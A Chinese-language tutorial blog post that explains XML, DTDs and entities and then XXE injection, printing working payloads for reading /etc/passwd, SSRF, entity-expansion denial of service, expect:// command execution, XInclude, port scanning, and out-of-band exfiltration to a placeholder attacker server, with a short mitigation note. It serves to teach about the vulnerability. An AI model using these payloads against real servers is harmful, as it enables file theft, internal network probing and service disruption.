XXE----一、XXE(XML外部实体注入漏洞)原理

本文阅读 11 分钟

1、什么是XML

XML 指可扩展标记语言(eXtensible Markup Language),是一种专为存储和传输数据而设计的语言。与 HTML 一样,XML 使用类似树的标签和数据结构。与 HTML 不同,XML 不使用预先定义的标签,因此可以给标签提供描述数据的名称。在过去几年,XML 作为数据传输格式很流行(“AJAX"中的"X"代表"XML”)。目前,也有部分采用的是JSON格式。 XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

2、基本语法

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

3、XML 语法特性

所有 XML 元素都须有关闭标签 XML 标签对大小写敏感 XML 必须正确地嵌套 XML 文档必须有根元素 XML 的属性值需要加引号 另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

4、文档定义类型

XML 文档类型定义 (DTD) 包含可以定义 XML 文档结构的声明、可以包含的数据值类型以及其他项目。DTD 在 XML 文档开头的可选元素中声明。DTD 可以在文档内部完全自成一体(称为"内部 DTD"),也可以从其他地方加载(称为"外部 DTD"),也可以是两者之间的混合体。

内部dtd文件,即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [元素声明]>
示例代码:

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部 DTD
(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时,通过如下语法引入:

<!DOCTYPE root-element SYSTEM "filename">
示例代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

5、 XML 自定义实体

XML 允许在 DTD 中定义自定义实体。

例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

此定义意味着 XML 文档中实体引用的任何值都将替换为定义值:myentity "my entity value"

6、什么是 XML 外部实体?

XML 外部实体是一种自定义实体,其定义位于 DTD 之外,外部实体使用关键字,并且必须指定应加载实体的 URL。

例如:SYSTEM

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL 可以使用协议,因此外部实体可以从文件中加载。例如:file://

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

XML 外部实体提供了造成 XML 外部实体攻击的主要原因。

1、原理

某些应用程序使用 XML 格式在浏览器和服务器之间传输数据。这样做的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞之所以出现,是因为 XML 规范包含各种潜在危险功能,标准解析器支持这些功能,即使这些功能通常不被应用程序使用。 XML 外部实体是一种自定义 XML 实体,其定义值从 DTD 外部加载。

2、危害

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

1、文件读取

利用XXE进行文件读取,其中定义了一个包含文件内容的外部实体,并在应用程序的响应中返回。

要从服务器中读取任意文件,需要两种方式修改提交的XML:
1.引入一个DOCTYPE元素,该元素定义了一个包含文件路径的外部实体。
2.编辑应用程序响应中返回的XML中的数据,以利用已定义的外部实体。

示例如下: 假设应用程序通过将以下XML提交给服务器来检查参数:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>123</productId></stockCheck>

该应用程序针对XXE攻击没有进行防御,因此可以通过提交以下payload利用XXE漏洞来读取/etc/passwd文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

此payload定义了一个外部实体&xxe,&xxe的值为/ect/passwd的文件内容,并在productId值内使用该实体,至此,应用程序的响应内容就是/etc/passwd的文件内容。

2、利用XXE执行SSRF攻击

利用XXE执行SSRF攻击,,其中基于到后端系统的URL定义了外部实体。 使用要定位的URL定义外部实体,并在数据值中使用定义的实体,如果可以在应用程序响应中返回的数据值中使用定义的实体,那么就可以从应用程序响应中的URL查看响应,从而与后端系统进行双向交互。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)>
]>
<data>4</data>

3、拒绝服务攻击

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

<!DOCTYPE data [ <!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

有些情况下没有将响应返回给攻击者的浏览器或代理,但服务器仍然可能受到XXE的攻击。盲带外XXE(OOB XXE)将就允许我们以不同方式利用此漏洞。 由于我们无法直接查看文件内容,因此仍可以扫描内部IP,端口,使用易受攻击的服务器作为代理在外部网络上执行扫描并执行代码。

1、RCE

利用XXE漏洞实现远程代码执行

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

2、XInclude

一些应用程序接收客户端提交的数据,将其在服务器端嵌入到XML文档中,然后解析该文档。将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务处理该请求时,就会发生这种情况。

在这种情况下,由于不能控制整个XML文档,所以无法定义或修改DOCTYPE元素。这种情况下,可以使用XInclude。XInclude是XML规范的一部分,该规范允许从子文档构建XML文档。因此可以在仅控制放置在服务器端XML文档中的单个数据项的情况下执行攻击。

要进行XInclude攻击,需要引用XInclude名称空间,并提供要包含的文件的路径。例如:
<?xml version="1.0" encoding="UTF-8"?>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

3、端口扫描

下面的代码将尝试与端口8080通信,并且根据响应时间和/或响应长度,攻击者将知道它是否已打开。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2021-03-05</date>
      <description>&xxe;</description>
   </core>
</catalog>

4、通过修改内容类型进行XXE攻击

大多数POST请求都使用HTML表单生成的默认内容类型,例如application/x-www-form-urlencoded。一些网站希望以这种格式接收请求,但也会接收其他内容类型,包括XML。

例如,如果正常请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
然后,提交以下请求,结果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序允许消息正文中包含XML的请求,并将正文内容解析为XML,则只需重新格式化请求以使用XML格式,就可以到达隐藏的XXE攻击面。

5、通过DTD进行文件渗透

外部文档类型定义(DTD)文件可用于通过让易受远程攻击的服务器获取攻击者托管在VPS上的.dtd文件,并执行该文件中包含的恶意命令来触发OOB XXE。 DTD文件基本上是充当被攻击服务器的指令文件。

以下请求已发送到应用程序以演示和测试此方法:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

上述代码一旦由被攻击的服务器所执行,该服务器就会向我们的远程服务器发送请求,查找包含我们的载荷的DTD文件:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

花点时间了解一下上述请求的执行流程。 结果是两个请求发送到我们的服务器,其中第二个请求是/etc/passwd文件的内容。

在我们的VPS日志中可以看到带有文件内容的第二个请求,它证实了OOB XXE:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

所有XXE漏洞的出现都是因为应用程序的XML解析库支持应用程序使用一些并不需要的危险XML功能。所以防止XXE攻击的最简单,最有效的方法是禁用这些功能。禁用外部实体的解析就足够了。可以通过配置选项来完成此操作。

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/111591603
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复